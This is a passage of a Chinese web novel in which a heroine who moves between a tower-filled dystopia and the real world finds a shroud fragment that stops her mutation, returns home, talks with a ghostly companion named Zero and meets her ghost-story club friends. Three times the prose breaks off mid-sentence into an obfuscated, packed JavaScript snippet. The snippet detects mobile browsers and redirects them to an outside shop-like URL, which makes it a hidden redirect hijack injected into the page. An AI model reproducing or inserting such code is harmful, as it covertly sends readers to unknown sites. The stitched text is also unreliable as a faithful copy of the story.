秦朗川已经坐好了，林焕端着碗从厨房里出来，嘴里还叼着一块肉，明显是偷吃的。 温刃坐下，秦朗川拿起筷子，夹了几块肉放进她碗里。 “多吃点。” 林焕看了看自己碗里，又看了看温刃碗里，默默地把筷子伸向菜盘，自己夹了一块。 “队长，你偏心。”他嘴里含含糊糊地说。 秦朗川没理他，从旁边拿了一袋棉花糖，拆开，捏了几颗放进自己碗里，和米饭拌在一起。 温刃看呆了。 棉花糖拌饭？ 这口味是不是有点太奇特了一些？ 她张了张嘴，想说点什么，但又觉得好像不太合适，于是只能低下头，默默地扒饭。 林焕倒是见怪不怪，瞥了一眼就继续吃了。 一顿饭吃得挺安静的。 秦朗川吃饭的时候不怎么说话，林焕倒是想说，但嘴被饭菜堵着，也就消停了。 吃完饭，秦朗川看了一眼林焕：“洗碗。” “好的好的好的，我知道了。”林焕认命地站起来，收拾碗筷，端进厨房。 水声哗哗地响了一阵，林焕擦着手走出来。 “那我先回去了，回隔壁了。” “去吧。”秦朗川说。 林焕冲温刃挥了挥手，推门出去了。 门关上，屋子里安静下来。 秦朗川坐在沙发上，沉默了一会儿，然后开口。 “小刃。”他的语气和刚才不一样了，变得凝重了许多。 “我暂时不打算让你去执法队的后勤部了。” 温刃愣了一下，这是为什么，执法队的工资不是很高吗？ “你现在有了异能，”秦朗川看着她，“如果你去后勤部，你一定会被拉进执法队，我不希望看到这样。” 温刃没说话，等着他继续。 “你知道异能者最大的弊端是什么吗？”秦朗川继续说道。 温刃摇了摇头。 秦朗川：“异能使用过多，我们的幸福值不断在高和低之间转换，在负面情绪和正面情绪之间反复横跳。” 他停顿了一下。 “我们的精神很容易出问题。” “而且不仅如此，异能使用得越多，就越有一种奇怪的感觉。” “我说不出来那种感觉，像是有什么东西在身体里面，越来越近。” 他抬起头，看着她。 “反正，我不希望你变成这样。” “你就好好待在家里，这次的事情我已经帮你摆平了，隐瞒了你拥有异能的事。” 温刃张了张嘴，想说点什么，但秦朗川已经换了话题。 “冷霜是个很好的人，”他说，“你可以跟她交交朋友。” 温刃低头看了一眼通讯器，果然有一条好友申请，头像是一只卡通狐狸，名字叫“冷霜”。 她点了通过。 几乎是一瞬间，对面发来了一条消息。 是一个微笑的表情包，像素风的小人，眼睛弯弯的。 温刃犹豫了一下，也回了一个微笑的表情。 “好了，”秦朗川站起来，开始收拾桌上的东西，“你先休息吧。” 他拿起抹布擦桌子，又把调料瓶归位，像个家庭煮夫。 温刃看着他，这队长简直是做饭打扫卫生两不误，超人啊。 她坐在沙发上，忽然觉得眼皮有点沉，她好像越来越困了。 难道是今天经历的事情太多了吗？ 温刃看了一眼时间，现在下午5点50，快6点了。 她不想跟秦朗川待在一块，总觉得有点尴尬。 “川哥，”她站起来，“我先回屋了。” “嗯，”秦朗川头也没抬，“早点休息。” 温刃走进自己的房间，把门关上。 只是在她刚关上门之后，突然觉得左手有点不对劲。 像是有什么东西在皮肤下面蠕动，疯狂想要钻出来一样。 就在此时，她的手指开始变形，五根指头像是失去了骨头一样，软绵绵的，聚在一起，甚至长在一起。 她整只手都在以一种不可能的方式扭曲，最后变成了一条触手，还在缓缓蠕动，吸盘里的眼睛珠子转动着，同时看向了温刃。 温刃盯着自己的手，瞳孔骤缩。 她居然又变异了。 11. 寿衣 温刃盯着自己的手，怎么偏偏这个时候就变成触手了？ 她记得之前刚穿越过来的时候，左手也变成了触手，也不知道原主究竟是在什么时候变异的。 不过，后来这手是怎么变回去的？ 是因为吞噬了Zero的尸体，那只触手发生了某种变化，其中一只眼睛变成了黑色，最后才变了回去。 可是现在呢？ 她环顾了一圈房间，屋内没有尸体，没有可以吞噬的东西。 屋外有一个人，秦朗川，可温刃知道自己打不过对方，她是个三好学生，也不会做出乱杀无辜的这种事。 那现在该怎么办？ 她试着把触手往回收，试着用意念去控制它。 可是那家伙根本不听使唤，只是在空气中缓缓蠕动，每一只眼睛都死死盯着它，怪渗人的。 温刃思考了一下，之前那次变异是在白天，可是这次变异却在晚上。 好像触手出现的时间完全没有规律，什么时候都可能来。 那她以后岂不是随时随地都可能变成这副鬼样子？ 那不行啊，这玩意儿跟丧诡又有什么区别呢？ 到时候被执法队的人发现，当成丧诡超度了不就完蛋了。 更何况，门外就有一个执法官，还是一个小队队长，如果被秦朗川发现就更不好了。 就在这时。 “咚咚咚。”房门被敲响了。 温刃只觉得不妙，现在能敲门的人就只有秦朗川了。 “小刃，”秦朗川的声音从门外传进来，“你今天忘记刷牙了。” 温刃：她怎么把这件事给忘了？ 她急忙说道：“啊……等会儿，我换个衣服。” “好，你一会儿快点出来。”秦朗川说完，脚步声往客厅方向走了几步，然后停下来，他还在外面等着。 温刃看了一眼手腕上的幸福手环，现在显示的数值还是30，并没有变化。 这不对。 之前她的幸福值跌到零的时候，秦朗川说再跌下去就会变成丧诡。 可现在她的手都已经变成这副鬼样子了，幸福值居然一点变化都没有？ 为什么？ 她在某方面跟别人不一样吗？ 温刃想不明白，但现在也不是想这些的时候。 当务之急是把这触手弄掉，要不然一会儿出去被秦朗川看到，她就完蛋了。 她只能翻箱倒柜，找出来一件看起来像是睡衣的衣服，换到身上。 她再脱下那件旧衣服的时候，有什么东西跟着掉出来了，而且好巧不巧落在了她的左手手背上。 温刃低头一看，是早上那个医生身上掉下来的碎片。 她之前随手塞进口袋里，差点都忘了。 只是那衣服碎片在落到她触手上之后，居然紧紧贴着，半天也扯不下来。 “这到底是怎么回事？”温刃不由惊呼一声。 碎片贴在她的手背上，边缘开始微微卷曲，那些眼睛像是感受到了什么，从触手的吸盘里缓缓缩了回去，只留下一个空洞。 这也导致，那只触手顶端居然开始分散，长出了五指的形状，渐渐变成正常的肤色，就连骨骼也长了出来。 温刃低头看着自己的左手，没想到手在这个过程中居然恢复成了原样。 她翻来覆去地看了好几遍，又握了握拳，松开，再握了握，确定没有任何异常。 那一片碎片还贴在她的手腕上，但现在看起来只是一小片半透明的薄膜，好在看起来并不是很明显。 温刃用手指碰了碰它，但也不敢乱扯下来，她害怕那只手又会变成触手。 算了，就先这样吧。 至少现在看起来正常了。 可是，这个东西明明是那个医生身上掉下来的，为什么能压制她的变异？ 那个医生到底是什么人？ 他留下这个衣服碎片，究竟是无意的，还是有意的？ 温刃站在房间里想了许久，还是想不出答案，毕竟她真没有这个世界的记忆。 门外，秦朗川还在等着，她不能再拖了。 她拉开门，走了出去。 秦朗川就站在走廊里，靠着墙，双手插在口袋里，看到她出来，他这才露出一个笑容。 “刚才在换衣服，”温刃说，“耽误了一会儿。” 秦朗川点了点头，没有多问。 “记得刷牙，”他说，“保持身体健康。” “知道了。”温刃快步走进洗手间，把门关上。 洗手台上放着一支高科技刷头，看大小应该不是马桶刷，温刃放心把它放进嘴巴里。 没过多久，那牙刷就像是机器人一样，自动开始刷牙。 温刃一边刷牙，一边想着刚才的事。 那个碎片到底是怎么回事？ 那个医生是故意留下的，还是不小心掉的？ 他知不知道这个东西能压制变异？ 她要不要去找那个医生问问？ 看能不能再弄到更多的，那种衣服的料子？ 但想想也不太可能。 那是人家穿在身上的衣服，总不能让人家脱下来给她吧。 可是如果能弄到一整件的话，是不是以后就不用担心变异的问题了？ 哪怕幸福值降低到了负数，是不是也能保持人类形态？ 温刃摇了摇头，感觉不太可能，如果真能做到这一步，人类就不会退居到高塔里躲着了。 牙刷到点自动停了，她把设备从嘴里拿出来，用水冲了冲，放回洗手台上，随后推门出去。 秦朗川已经坐在沙发上了，正在用手环看什么东西，准确来说，他是坐在自己的床上。 听到动静，他抬起头：“刷完了？” “嗯。”温刃点点头。 “那早点休息，”他说，“今天辛苦了。” “你也是。”温刃说完，转身往自己的房间走。 “小刃。”秦朗川喊了一句。 温刃停下来，回头。 秦朗川看着她，表情有些犹豫，但最后他只是说了一句：“晚安。” “晚安。”温刃急忙说道。 她快速回屋，将门关上，长长松了一口气，下次进屋前得说晚安了，否则会被看出端倪。 还好这次糊弄过去了。 温刃失神走到床边坐下，打开通讯器。 关于衣服碎片的事情，要不要问问秦朗川？ 他是执法队的队长，肯定知道那个医院的情况。 可是，如果问他，她怎么说？ 说她今天遇到的那个医生很奇怪，掉了一块东西，能压住变异？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493138|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那不等于把自己有问题的事全抖出来了？ 她才不会蠢到把这种事都说出来。 温刃想了想，还是决定自己查。 “还是在通讯器上搜索一下好得快医院吧，说不定能查到医院的人员名单。” 搜索结果很快就跳出来了，第一个上面就是医院的官方网址，点开后有一个挂号，里边是全部的医生名单。 她点进医生名单，从上往下看，但是看了半天，好像也没找到那个医生的身影。 “不对，他过来的时候戴着面具，我也不知道他到底长什么样子啊，只知道那个医生是个男的。” 她根本都没看到那个医生的脸。 “要是听声音的话，我估计还能辨别出来。” 她只知道他个子很高，手指有点肿，声音沙哑，语速很慢。 哦对，他的其中一只眼睛的瞳仁旁边有颗痣。 这些信息，拿去搜一个医生，跟大海捞针有什么区别？ 温刃扒拉一边，没找到相似的，她靠在床头，叹了口气。 算了，等下次有机会再说吧。 她低头看了一眼左手，把袖子往上拉了拉。 那一小块碎片贴在她的手腕里，不仔细看根本看不出来。 用袖子盖住的话，什么都看不见。 她想了想，又打开通讯器的拍照功能，对准自己的手腕拍了一张照片。 “这个世界科技都这么发达了，应该有识图搜索功能吧？这衣服说不定网上能找到款式。” 然后她截取了碎片的那一块，上传到搜索栏。 “以图搜图中，请稍候……” 屏幕上出现了一个加载的图标，转啊转的，明显是网卡了。 温刃盯着那个图标看了一会儿。 不知道为什么，她忽然觉得特别困，眼睛是越来越睁不开了。 她看了一眼旁边的时间，现在是5：59。 等等，5:59？ 这个时间怎么这么熟悉？ 她穿越过来的时候好像也是这么困，好像也是这个时间节点…… 温刃还来不及细想意识，就已经逐渐模糊。 她甚至不知道自己是什么时候躺下来的，也不知道自己是什么时候闭上的眼睛。 温刃很快就睡着了。 通讯器的屏幕还亮着。 加载的图标转了一会儿，终于跳出来一个页面。 “搜索结果如下。” “物品分类：丧葬用品。” “名称：寿衣（高科技防护型）。” “材质：纳米仿生纤维，内置生命维持系统。” “说明：本产品为特殊定制款，用于遗体保存及防腐处理，不对外公开销售，想要购买，请联系好得快医院。” 但温刃已经睡着了。 她什么都没看到。 房间里的灯还亮着，通讯器的屏幕也还亮着。 她不知道的是。 那件衣服，是寿衣。 那个医生身上穿的，根本是死人穿的寿衣！ 窗外，天色彻底暗了下来，高塔世界的天黑的比现实世界要早很多。 6：00。 温刃的房间里，灯闪了一下。 通讯器的屏幕像是被某种特殊力量影响一样，自动熄灭了。 12. 现实 叮铃铃，叮铃铃。 闹钟的声音一声接一声，像是有什么东西在拼命地叫她醒过来。 温刃缓缓睁开眼睛，但下一秒，她觉得哪里不对。 这个闹钟的声音，不是她在高塔世界听到的那种。 这根本是她自己的闹钟，是现实世界的闹钟声音！ 她睁开眼睛，头顶上是房东来不及换的老旧helloKitty灯。 温刃急忙坐了起来，这才发现身上的衣服也恢复成了她在现实中的衣服模样。 等等。 这是她的出租屋。 她回来了？ 温刃翻身下床，狠狠掐了自己一下。 “嘶，好痛啊！” 看来这不是梦，而是现实。 温刃瘫坐回床上，愣了几秒，然后笑出声来：“哈哈哈，我回来了。” 她回来了。 她真的回来了。 她笑了两声，总感觉做了那样幸福值时高时低的梦之后，她的精神似乎在这样的压力下也变得不太正常了。 但她也顾不上那么多了，整个人往后一倒，躺在床上，盯着天花板。 所以……之前发生的一切，难道只是一场梦吗？ 闹钟还在响。 叮铃铃，叮铃铃，吵得她有点心烦。 温刃伸手去够手机，把闹钟关掉，现在刚好是早上6点02分。 她皱了皱眉，因为她记得自己根本没有设置过6点钟的闹钟。 她什么时候设的这个？ 温刃盯着屏幕看了几秒，想不起来，索性关掉了。 她把手机扔在一旁，重新躺回去，盯着天花板，用手背盖在脑门上。 难道之前的一切真的只是一场梦？ 等等。 好像有哪里不太对劲，她手腕上的有一块皮肤，放在脑门上的触感不对。 温刃举起左手，这才发现左手手腕上多了一块熟悉的东西。 是她捡回来可以压制变异的仿生布料。 这东西，居然出现在了她的手腕上！ 温刃看了下周围环境，是她现实世界里的出租屋没错啊，而且这根本不是梦境…… 她大脑风暴之后，终于意识到了什么。 也就是说，高塔世界的一切并不是梦，她甚至把那个世界的东西带了回来，她很有可能还会回去，回到那个疯狂又病态的世界里。 如果是这样，她宁可一直死磕考公，至少不会死。 就在这时，她余光里出现了一抹蓝色的身影。 温刃抬头看了过去。 Zero就站在她的床边，她还穿着死之前穿的那件未来紧身衣，双手背后，好奇打量着她。 温刃只觉得很震惊，震惊Zero明明已经死了，甚至被眼睛吃掉了，居然还会出现在这里。 她又有些恐惧，好像一直摆脱不掉Zero这个神秘存在，甚至因为Zero，卷进了一个未知又危险的世界里。 她伸手，想要去抓Zero的肩膀，可手指穿过了Zero的身体，什么都没有抓到。 温刃踉跄了一下，站稳了，瞪着Zero。 “这一切到底是怎么回事？”她质问Zero，“你到底是谁，这一切是不是你搞的鬼？” Zero站在原地，那张漂亮又圣洁的脸上露出一丝困惑的表情：“小刃，你应该冷静下来。” 温刃深吸一口气，她觉得Zero说得对，如果她还要回到高塔世界，那么幸福值就是一个很重要的东西。 如果她因此生气，崩溃，而导致幸福值降低的话，下次再穿越回去，变成丧诡就不好了。 “我知道你可能很好奇发生的一切，”Zero继续说，“但是很可惜，我失去了所有的记忆。” “我不记得我究竟是谁，也不记得我的身份究竟是什么。” Zero的表情看起来并不像是说谎，温刃和她相处差不多两周，也对她了解的差不多了。 但如果这都是Zero的伪装，温刃也只能认栽。 那这样的演技简直是影后好吧？ 温刃盯着她看了很久，终于也冷静下来，慢慢坐回床上。 “你失去了所有记忆？”她重复了一遍，“你不记得自己是怎么死的？” Zero摇了摇头：“我什么都不记得了。” “所以，我死了吗？” 看来Zero是真的失忆了，如果她没有失忆，肯定会记得高塔世界原主杀了她，并把尸体藏在床下的事情。 但Zero的表情没有变化，她刚出现时也是这样，一脸迷茫。 温刃记得自己刚穿越到高塔世界的时候，床底下有一具尸体，那就是Zero的尸体。 她亲手把Zero吞噬了。 可现在Zero又站在她面前，活生生的，但只是碰不到。 这到底是怎么回事？ 温刃想到了一个可能性，那就是，经过大眼珠子吞噬的人，会在现实世界以虚幻的方式存在，但会失去记忆。 “那你为什么知道死亡会获得新生，并且支付代价这件事？”温刃问，“你为什么会知道这句话？” 难道，Zero也知道那个漆黑庞大的存在？ Zero垂下眼睛。 “我当时已经失去了所有记忆，”她说，“起初我也是不相信你的，因为我不知道究竟是不是你把我变成这个样子……” “可我偏偏对你有独特的感应，我跨越人海，只为了找到你。” “我能感受到，我必须得留在你的身边。” “小刃，知道昨天晚上，我脑海中晃过了一个画面。” “有人对我说了那句话。” “我不自觉就对你说了出来。” Zero的表情很真诚：“我发誓，自己绝对没有说谎，那句话是什么意思啊？” 温刃摇了摇头：“没什么，我只是好奇你为什么会说出那样的话。” Zero继续说道：“我也不知道你为什么陷入了昏睡，但可以肯定的是，你在6点的时候就陷入了沉睡，一直睡到了早上6点，睡了整整12个小时。” “我如果想对你做些什么，你现在不会安然无恙站在这里。” 温刃一脸惊讶：“什么？” 她的睡眠最多就是十个小时，从未有过一脸睡了十二个小时的先例。 也就是说，在这12个小时里，她的意识去了高塔世界，但身体一直留在这里。 她不是身体穿越，是灵魂穿越。 她的意识进入了高塔世界那个和她同名同姓，长得一模一样的人的身体里。 而且，她是在现实世界的晚上六点穿过去，早上六点醒来。 而在高塔世界，她也是在早上六点醒来，晚上六点睡过去。 也就是说，她只能待在两个世界的白天。 温刃凝重说道：“你知道吗？我在那段时间去到了一个世界，一个高塔林立的世界。” Zero听到这话，脸上的表情终于有了变化，她一脸震惊：“高塔……世界？” 她沉默了许久：“我虽然失去了记忆，但我隐隐约约对那个世界是有一些了解的，就像是本能？” “我知道，我属于那个世界，没想到你居然去了那里？” 温刃点头：“那你就跟我说一下那个世界。” Zero歪了歪头，思考了许久。 “那个世界到处都是丧诡，它们一直在出现，甚至占领了人类大部分的领土，人类只能退居到高塔里。” 温刃皱了皱眉：“你怎么确定高塔能防住它们？” 她想到了周正明，想到那个体型巨大的丧诡，他光是站在那里就让人喘不过气来。 如果遇到更大的呢？ 高塔真的能拦住它们吗？ Zero沉默了一会儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493139|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不知道，”她说，“但我只知道……高塔不止一座。” “它们有编号，好像足足有一百座，这些塔似乎有某种特性，人类居住在塔里，就不会受到外界丧诡的袭击。” “但是塔内部如果诞生了丧诡，就需要拥有异能的执法官来处理。” 温刃点了点头，这些信息和她之前经历的对得上，Zero没有说谎。 “那执法官处理完丧诡之后呢？”她问，“谁来善后？” Zero想了想：“好像有一个公司，在每个高塔都有分部，你是在哪个高塔？” “44号。”温刃说道，她想到了那些戴着山羊面具的人。 “那就是44号分部，”Zero说，“那个公司好像叫……创世安防？” 创世安防？ 温刃想起来了，之前看电视的时候，广告里提到过这个公司。 那个广告说，幸福手环就是创世安防制造的。 温刃低头看了一眼左手手腕上那片碎片，忽然想起一件事。 “Zero，”她把左手伸出去，“你能帮我看看这个东西吗？这个到底是什么？” 她很想知道，究竟是什么东西，居然能压制她的变异。 Zero低下头，盯着那片碎片看了很久。 她一脸困惑，像是认出了什么，但又不太敢确认。 “这个……”Zero像是不理解温刃为什么这么做，语气都有些迟疑，“这是寿衣。” 温刃：？ “你说什么？”温刃不相信，于是问了一遍。 “这是寿衣，”Zero重复了一遍，“我没有记错，这是死人穿的东西，我有一些模糊的记忆。” 温刃只觉得胃里一阵翻滚。 这玩意居然是寿衣？ 要知道，那可是死人穿的衣服，现在居然贴在她的手腕上。 那个医生到底是什么东西？他身上为什么会落下寿衣碎片？ 温刃想把它撕下来，可撕下来之后呢？ 她的手会变成触手，她会变异。 就是不知道，在现实世界撕下这东西之后，她的手是否也会变成触手。 而撕掉后，也不知道它再贴上去还会不会发挥作用，万一它是一次性的呢。 而且，如果她在这里变异了，高塔世界的秦朗川能感觉到吗？ 温刃不知道。 她也不敢试。 她慢慢把手放下来，用袖子盖住了那块碎片。 “你没事吧？”Zero的声音有些犹豫。 “没事。”温刃说。 房间里安静了一会儿。 就在这时候，温刃的手机震了一下。 她拿起来看了一眼。 屏幕上弹出一条消息，来自一个叫“怪谈协会F4”的群。 发消息的人备注是“骁张跋扈”。 【骁张跋扈：大家今天有时间没？我想跟大家聚个会，开一场聚会，我请客】 温刃盯着屏幕看了许久，怪谈？不过这个昵称还是这么中二。 “是谁？”Zero问。 “是我的高中同学，”温刃说，语气随意，“我高中的时候加了一个怪谈协会，就四个人，这个是会长。” 而且，上了大学后，他们也没有断开联系，而是偶尔周末聚会，聊聊自己发现的怪谈。 温刃一直对这个很感兴趣。 但现在，她感觉自己身上的离谱事也能当作怪谈了。 死而复生的Zero，诡异的穿梭，漆黑庞大可以改变时间的恐怖存在…… 说出去怪谈协会的几个家伙绝对感兴趣，但温刃不能说，她不确定这会引发什么后果。 【骁张跋扈：你们的会长大人最近获得了一手消息，发现了一个绝对真实怪谈，感兴趣的速来！】 【骁张跋扈：红包来啦！】 【骁张跋扈：［红包］】 13. 怪谈协会 温刃犹豫了一下，还是点开了红包，毕竟有钱不拿是傻子。 【别惹我我很温刃已领取红包】 温刃激动地一看。 0.01。 她又不可置信地看了一眼，发现自己并没有看错，抢到的红包额度就是0.01。 而且另一个ID为“美美”的，足足抢到了1280.3。 就连红包的发起人骁张跋扈都抢了一百多块钱。 温刃：？ 她手气是不是有点差了。 【美美：温温你怎么运气这么差？】 【骁张跋扈：哈哈哈，温刃你也太可怜了@别惹我我很温刃】 【骁张跋扈：给你发个红包补偿一下】 【骁张跋扈：［转账］】 温刃一点开，上面居然有两千块钱。 【别惹我我很温刃：你怎么发这么多钱？@骁张跋扈】 【骁张跋扈：哥不差钱，主要是这次怪谈好像是真事，有点可怕，急需各位大佬保护我】 【美美：真的假的？】 【骁张跋扈：包真的呀，大家有事没事，没事就来】 【美美：没事】 温刃想了一下，毕竟现在已经回来了，回到现实世界了，暂时也没事干。 这帮高中同学是她最好的朋友，那个美美也是她闺蜜，见一面心情能放松不少。 她还是决定去。 【别惹我我很温刃：我也没事】 Zero看向温刃：“哇，你们关系很好呢。” 温刃点点头：“是。” Zero又问：“你刚从另一个世界回来，不休息一下吗？” 温刃回答道：“我感觉这就是放松，至少让我神经不紧绷了。” Zero凑过来：“那你带上我，我不乱说话，就在一旁看看，我很好奇怪谈协会究竟是什么，之前两周也没见你提起过。” 温刃想了想，前两周是因为会长有事不在省内，所以怪谈会才没来得及开成。 放在平常，他们每周末都要聚会，聊聊各自学校发生的事情，吐槽一下生活。 带上Zero好像也没什么大碍，温刃点了点头：“好。” 【骁张跋扈：话说我寻弟呢？吱声，你不来坦克就只有温刃了@烬然是你】 等了半天，群里没人吱声。 【骁张跋扈：好吧，他之前说自己在找工作来的，你们想实习找我盖章哈，真不用拘谨】 【美美：我一会就把单子拿过来给你盖章】 【骁张跋扈：［点赞］，寻弟还没回我，他可能有事没看手机，各位，一个小时后老地方见，我请客】 【骁张跋扈：［定位］】 * 温刃看了眼定位，那地方是这里很有名的饭店，他们每次聚会的地点都选在这里。 之前会长一直在外省，所以就没有开会。 她换了件比较日常的衣服，就开门出发。 Zero飘在她身后，好奇地东张西望。 饭店在市中心，从外面看就金碧辉煌的。 温刃推门进去，一个穿着制服的服务员迎上来，目光在她身上扫了一下。 但服务员很快认出了她，笑容变得真诚起来：“温小姐，您又来了？还是老包间？” 温刃点点头：“对。” “这边请。”服务员做了个手势，领着往里走。 温刃路过大厅的时候，隐约听到旁边桌有人在嘀咕。 “那女的穿的挺普通的，怎么进这种地方？” “你不知道，现在有钱人越来越低调了，说不定人家是VIP呢。” “也是。” 温刃面不改色地走过去，心里倒是没什么波动。 怪谈协会每次聚会的地点都在这里，因为在市中心，大家赶过来的话也都比较方便。 到了包间门口，服务员帮她推开门，微微欠身：“请。” 温刃走进去。 包间很大，中间一张大圆桌，对面是一整面墙的投影幕布。 沙发上坐着一个人。 他是个男孩，看起来二十出头，穿着件设计感很强的黑色外套，内搭是高领衫，裤子也是视觉系，脚上则是双限量款的鞋。 他整个人打扮得很潮流，很有质感，就连头发都染成了银白色，搭配耳朵上的黑色耳钉，看起来更像一个爱豆。 他正翘着二郎腿看手机，听到门响，抬起头来。 Zero飘在温刃旁边，凑近了小声说：“哇，这个人是谁啊？长得还可以哦。” 温刃没有接话，假装没听到。 她要是当着别人的面对空气说话，那可就真成怪人了。 她走过去，自然地打了个招呼：“嗨，会长，好久不见。” 银发青年站起来，笑眯眯地看着她：“温刃，好久不见。” 他看起来比高中时候成熟了不少，但那种骨子里的少年气还在。 他叫做顾景骁，是怪谈协会的会长，虽然看起来年轻，但其实已经二十多了。 顾景骁家里是真有钱，但他偏偏对怪谈感兴趣，对做生意反而没什么热情。 这个怪谈协会就是他自高中开始一手创办的，不过那时候大家都关注着学习，成员虽然算上他自己也才四个人。 但他每次都搞得像在运营什么大型组织一样，又是会长又是章程的。 不过有意思的是，这家伙胆子特别小。 每次出去探险，他都躲在最后面，让温刃和一位叫做烬寻的成员走前面。 但一回到安全的地方，他又总是嘴硬说自己胆子很大。 温刃悄悄往旁边挪了半步，靠近Zero，用只有她能听到的音量小声说了句：“他是我的会长。” Zero的眼睛亮了一下，嘴角弯起来，压低声音说：“呀，你对我可真好，你居然为了跟我解释，要是在别人面前暴露就不好了。” 顾景骁歪了歪头：“你在说啥？” “没什么，”温刃面不改色，“我只是感觉你最近好像变帅了。” 顾景骁愣了一下，然后立刻从口袋里掏出一面小镜子，对着自己的脸照了照。 他左看看，右看看，最后满意地点点头，把镜子收回去。 “哎呀，基本操作。”他摆了摆手，语气里全是得意。 温刃习惯了顾景骁这副样子，他不仅自恋，还嘴硬。 顾景骁重新坐回沙发上：“还好你来了，我跟你说，咱们这队伍里的坦克，除了你就只有烬寻那小子。” “如果你这次不来，我还真的不敢探险了，说实话，叶令美她胆子真的太小了。” 叶令美是队伍里的另一位成员。 温刃坐下来，随口调侃了一句：“你的胆子其实才是这里面最小的吧。” 顾景骁瞪大眼睛：“那才不是呢，咱们说不定呢！” 温刃懒得跟他争。 反正每次探险缩在最后面的都是他，这已经是固定节目了。 Zero在旁边捂着嘴笑：“哇，我是看出来了，这小子嘴硬。” 没过多久，门被推开了。 一个女孩风风火火地走进来，她一头红发，穿着一件明艳的红色连衣裙，个子很高，足足有175。 她的五官很精致，眉眼之间有一种张扬的美。 她额头上有一块一朵玫瑰花形状的红色胎记，搭配那一身装饰，让她更像是一朵绽放的玫瑰。 “温温，”她一进门就看到了温刃，直接扑过来，一把抱住她，“最近过得怎么样呀，考公复习怎么样了？没有懈怠吧？” 温刃被她抱得有点喘不过气：“还行，没懈怠……” Zero飘在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493140|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，歪着头看这一幕，然后凑到温刃耳边小声说：“哎呀，你这个闺蜜好热情啊，你们关系很好吧？” 温刃没法回答，只能装作在整理头发，微微点了一下头。 Zero心领神会，退到一边，笑眯眯地看着她们。 温刃终于从叶令美的怀抱里挣脱出来，捋了捋头发：“我肯定认真学习啦，每天都在看书。” “那就好，”叶令美在她旁边坐下来，拍了拍她的手，“你要是考上了，我请你吃大餐。” 顾景骁在旁边插嘴：“那我呢？” “你又不考公，凑什么热闹。”叶令美说道。 两个人正要拌嘴，就在这时，头顶的灯突然闪了一下。 然后，它又闪了一下。 啪！ 整个包间陷入了一片漆黑。 “啊啊啊！”叶令美尖叫一声，一把抱住温刃的胳膊，缩在她的怀里，“完蛋了，这个怪谈怎么在这里发生了呀，是不是有鬼，灯怎么坏了！” 温刃还没来得及说话，对面就传来一阵憋不住的笑声。 “嘿嘿嘿，哈哈哈……”那分明是顾景骁的笑声。 然后灯亮了。 顾景骁手里拿着一个小开关，正笑得前仰后合。 “我跟你说了吧，”他对温刃说，指着叶令美，笑得话都说不利索，“这个队伍里胆子最小的是叶令美，我就操控了一下这个灯，她都吓成这个样子了，哈哈哈，她胆子也太小了。” 叶令美脸上的表情从惊恐变成了愤怒。 她松开温刃的胳膊，抄起桌上的纸巾盒就朝顾景骁扔过去：“你有病吧，故意吓人！” 顾景骁一偏头躲过去了，但还是笑个不停：“你自己胆子小怪谁。” “你这个样子突然黑的谁不吓人啊，”叶令美叉着腰，“如果是你，你不知道情况，你肯定比我还害怕！” “我才不会！”顾景骁说。 “你会！”叶令美双手叉腰。 “不会！”顾景骁犟嘴。 温刃：…… 这俩怕是小学生吧。 但看着他们拌嘴，温刃却感觉这个世界是鲜活的，没有了在高塔世界的压抑和紧迫感。 她似乎明白了幸福的含义，她好像在这里感受到了幸福。 她揉了揉太阳穴：“好了好了，会长，别吓她了，咱们这次来主要是来聊那个啥的，怪谈的。” 两个人终于停下来，互相瞪了一眼。 温刃趁机转移话题：“不过你说烬寻是去找实习了吗，他怎么也不在群里回消息呢？” 顾景骁收起开关，靠回沙发上：“你也知道他性格就是那样，沉默寡言的，估计是忙着面试呢，等会就回咱们了。” 他摆了摆手：“哎，不管他了，他可是错过了这次会议的精华，我这次可是搜集确认了消息，而且确认这个消息的准确性。” 他说着站起来，走到墙边，从包里掏出一个平板。 然后他按了一下墙上的开关，平板上的画面就投影到了投影仪上。 温刃有些疑惑，她记得上次来还没有的，那时候的资料还是顾景骁亲自打印的。 顾景骁显然看出了她的疑惑，得意地扬了扬下巴：“我跟这饭店老板熟，让他给我在这个包间加了个投影仪，每次都带纸质版报告，还得带四份，太麻烦了。” “怎么说我也是超级VIP，这点要求不过分吧？” 他把平板上的画面投到了幕布上，上面只有四个简体大字。 包间里暗了下来，只有投影仪的光照在顾景骁脸上。 他不知从哪儿摸出一个手电筒，打开，从下巴往上照，把自己的脸照得阴森森的。 “我这次，”他的声音压得很低，神秘兮兮的，“把这次怪谈命名为……” 他顿了顿。 “求职怪谈。” 14. 求职怪谈1 顾景骁清了清嗓子，把手电筒关掉，换成了一种更正经的语气。 但他还是一脸兴奋。 